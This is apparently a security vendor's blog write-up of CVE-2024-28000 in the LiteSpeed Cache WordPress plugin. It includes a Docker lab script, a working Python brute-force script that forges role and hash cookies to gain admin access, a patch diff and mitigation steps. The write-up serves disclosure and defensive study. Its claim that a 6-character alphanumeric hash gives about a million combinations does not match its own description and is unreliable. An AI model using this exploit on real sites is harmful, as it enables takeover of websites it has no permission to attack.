In August 2024, a critical vulnerability (CVE-2024-28000) was discovered in the LiteSpeed Cache plugin for WordPress, a popular caching and optimization tool. The vulnerability allows unauthenticated users to escalate their privileges to an administrative level. It poses a severe threat to over five million websites that use this plugin.
This post will walk you through the vulnerability, its impact, technical details, exploitation, and the measures taken to fix it. Additionally, we’ll provide automation scripts to help you set up a test environment and conduct a patch diff analysis to see the changes between the vulnerable and patched versions.
Impact
CVE-2024-28000 has a CVSS score of 9.8, which indicates the risk as critical. The vulnerability allows attackers to brute-force a weak security hash in the LiteSpeed Cache plugin’s role simulation feature, leading to full administrative access. Exploiting this flaw can result in complete site compromise, where attackers can:
- Create malicious admin accounts.
- Install harmful plugins.
- Modify content and settings.
- Steal sensitive data (user credentials, payment info).
- Redirect visitors to malicious websites, causing significant damage to SEO and reputation.
Timeline
- Discovery Date: August 2024
- Public Disclosure: August 2024
- Patch Released: August 2024
- Exploit Activity: Reported within days of disclosure
Important Terms
Before diving into the technical details, it’s essential to clarify a few terms:
- Privilege Escalation: A type of vulnerability that allows attackers to gain higher access privileges, such as administrative control, by exploiting a security flaw.
- Hash: A unique string generated by a hashing algorithm. In this case, it’s used to simulate user roles.
- Nonce: A security token that ensures requests are made intentionally and by authorized users.
Vulnerability Analysis
The LiteSpeed Cache plugin’s role simulation feature is designed to simulate different user roles (such as admin) during the cache generation process. However, the vulnerability lies in how the plugin handles the security hash used to identify roles.
Vulnerable Functionality
The key vulnerability is found in two functions: async_litespeed_handler() and is_role_simulation(). In version 6.3.0.1 (and earlier), the LiteSpeed Cache plugin generates a weak 6-character alphanumeric hash using Str::rand(). This hash can be brute-forced by unauthenticated attackers to impersonate an admin user.
# Version 6.3.0.1 (vulnerable code)
$hash = Str::rand(6); // Generates a 6-character alphanumeric hash
By setting cookies (`litespeed_role` and `litespeed_hash`) in HTTP requests, an attacker can brute-force the weak hash value to gain administrative privileges.
Static Analysis
- Weak Hash Generation: The vulnerability stems from the insufficient length and randomness of the 6-character hash generated by Str::rand(6). With just 1 million possible combinations, brute-forcing this hash is feasible.
- No Nonce Validation: The function is_role_simulation() lacks proper nonce validation, allowing unauthenticated users to exploit the role simulation feature without restriction.
- Insecure Cookie Handling: The plugin uses cookie-based role simulation without sufficient validation, allowing attackers to manipulate these cookies to impersonate an administrator.
Lab Setup and Automation Script
Reproducing the Vulnerability
To reproduce the vulnerability, attackers exploit the weak hash by sending repeated requests with different cookie values until the correct hash is brute-forced.
Lab Setup
You can set up a local environment to test CVE-2024-28000 by using Docker. Here’s how you can create a test environment:
- Docker Setup:
- Create a directory and a docker-compose.yml file to configure WordPress and MySQL.
- Download and install LiteSpeed Cache version 6.3.0.1 (vulnerable version).
version: '3'
services:
wordpress:
image: wordpress:latest
restart: always
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
db:
image: mysql:5.7
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_ROOT_PASSWORD: rootpassword- Install Vulnerable Plugin:
Install LiteSpeed Cache version 6.3.0.1 manually or through WP-CLI:
wp plugin install https://downloads.wordpress.org/plugin/litespeed-cache.6.3.0.1.zip –activate
To simplify the process of setting up a local environment for testing CVE-2024-28000, we’ve created a Bash script to automate the setup using Docker. This script will configure a vulnerable WordPress instance with the LiteSpeed Cache plugin (version 6.3.0.1).
Here is the Lab Setup Automation Script:
#!/bin/bash
# Create a working directory for WordPress and navigate into it
mkdir -p ~/wordpress-docker
cd ~/wordpress-docker || exit
# Create docker-compose.yml to set up WordPress and MySQL
cat <<EOF > docker-compose.yml
version: '3'
services:
wordpress:
image: wordpress:latest
restart: always
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
volumes:
- ./wp-content:/var/www/html/wp-content
db:
image: mysql:5.7
restart: always
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_ROOT_PASSWORD: rootpassword
EOF
# Start the Docker containers
echo "Starting WordPress and MySQL containers..."
docker-compose up -d
# Wait for containers to initialize
echo "Waiting for WordPress to initialize..."
sleep 60
# Download and install the vulnerable LiteSpeed Cache plugin (version 6.3.0.1)
echo "Installing LiteSpeed Cache (version 6.3.0.1)..."
docker exec -i $(docker ps -qf "name=wordpress-docker_wordpress") bash <<EOF
wp plugin install https://downloads.wordpress.org/plugin/litespeed-cache.6.3.0.1.zip --activate --allow-root
EOF
echo "WordPress and LiteSpeed Cache version 6.3.0.1 have been set up. Access it at http://localhost:8080"This script automatically sets up WordPress with the vulnerable LiteSpeed Cache plugin, ready for testing. Once the setup is complete, you can access the site at `http://localhost:8080`.
Exploitation
Now that the environment is set up, we can attempt to exploit the vulnerability using a Python script that brute-forces the weak security hash. Here’s a Python script that brute-forces the vulnerable hash:
import requests
import random
import string
import time
TARGET_URL = "http://localhost:8080"
ADMIN_USER_ID = '1'
WORDPRESS_API_URL = f"{TARGET_URL}/wp-json/wp/v2/users"
BRUTE_FORCE_RATE = 3 # requests per second
TIMEOUT = 5 # Timeout for requests
def generate_random_hash(length=6):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
def brute_force_hash():
session = requests.Session()
while True:
litespeed_hash = generate_random_hash()
cookies = {'litespeed_role': ADMIN_USER_ID, 'litespeed_hash': litespeed_hash}
try:
response = session.post(WORDPRESS_API_URL, cookies=cookies, timeout=TIMEOUT)
if response.status_code == 201: # Success
print(f"[SUCCESS] Valid hash: {litespeed_hash}")
break
print(f"[FAIL] Invalid hash: {litespeed_hash}")
except requests.Timeout:
print(f"[TIMEOUT] Hash: {litespeed_hash}")
except Exception as e:
print(f"[ERROR] {str(e)}")
time.sleep(1.0 / BRUTE_FORCE_RATE)
brute_force_hash()
Debugging
If the exploit is not working as expected, make sure:
- WordPress instance is running: Ensure Docker containers are up and WordPress is accessible.
- API endpoint is reachable: Check that `http://localhost:8080/wp-json/wp/v2/users` is accessible by running: curl http://localhost:8080/wp-json/wp/v2/users
For further debugging, you can print the full response from the server using this line in the script:
print(f”Response content: {response.text}”)
Patch Diffing
Let’s dive into how the developers addressed CVE-2024-28000 in LiteSpeed Cache version 6.4.0.
Now, patch Diff Automation Script.
To see what changes were made between versions 6.3.0.1 and 6.4.0, you can automate the patch diffing process using this Bash script:
#!/bin/bash
# Define versions to compare
VULNERABLE_VERSION="6.3.0.1"
PATCHED_VERSION="6.4.0"
# Download vulnerable and patched versions
wget https://downloads.wordpress.org/plugin/litespeed-cache.$VULNERABLE_VERSION.zip -O "$VULNERABLE_VERSION.zip"
wget https://downloads.wordpress.org/plugin/litespeed-cache.$PATCHED_VERSION.zip -O "$PATCHED_VERSION.zip"
# Unzip both versions
unzip -q "$VULNERABLE_VERSION.zip" -d "litespeed-cache-$VULNERABLE_VERSION"
unzip -q "$PATCHED_VERSION.zip" -d "litespeed-cache-$PATCHED_VERSION"
# Perform diff and save the results
diff -ruN "litespeed-cache-$VULNERABLE_VERSION/litespeed-cache" "litespeed-cache
-$PATCHED_VERSION/litespeed-cache" > patch_diff.txt
echo "Diff complete. Check patch_diff.txt for the differences."Script output
Key Patch Differences: analyzing patch_diff.txt file
By running the patch diff, we can see the following key changes:
1. Stronger Hash Generation:
In version 6.4.0, the weak 6-character hash was replaced with a cryptographically secure 32-character hash using `random_bytes()`.
$hash = bin2hex(random_bytes(16)); // Generates a secure 32-character hash
2. Nonce Validation
The new version added nonce validation using `wp_verify_nonce()` to ensure only legitimate users can trigger role simulation.
if (!wp_verify_nonce($_REQUEST[‘_wpnonce’], ‘litespeed_role_simulation’)) {
return;
}
3. Improved Cookie Handling:
The patched version improved cookie validation to ensure that cookies were properly checked before being accepted.
if (!isset($_COOKIE[‘litespeed_hash’]) || $_COOKIE[‘litespeed_hash’] != $hash) {
return;
}
Mitigation
To protect your site from CVE-2024-28000, follow these steps:
- Upgrade LiteSpeed Cache: Update to version 6.4.0 or higher.
- Restrict REST API Access: Disable access to the WordPress REST API for unauthenticated users.
- Use Two-Factor Authentication (2FA): Enforce 2FA for admin accounts to prevent unauthorized access.
- Monitor Site Activity: Regularly review server logs for suspicious activity.
Final Thoughts
CVE-2024-28000 is a stark reminder that even widely used plugins can contain critical vulnerabilities. By exploiting a weak security hash, attackers can gain full administrative access to a WordPress site. The patch released in version 6.4.0 effectively mitigates this vulnerability by strengthening hash generation, adding nonce validation, and improving cookie handling.
Website administrators are encouraged to keep plugins updated and implement additional security measures such as 2FA and limiting access to critical features like the REST API.
For expert guidance on vulnerability management and/or penetration testing services contact SecureLayer7 to leverage tailored solutions and stay ahead of evolving security risks.
Resources
– WordPress LiteSpeed Cache Plugin: (https://wordpress.org/plugins/litespeed-cache/)
– CVE-2024-28000 Details: (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28000)
– WP-CLI: (https://wp-cli.org/)
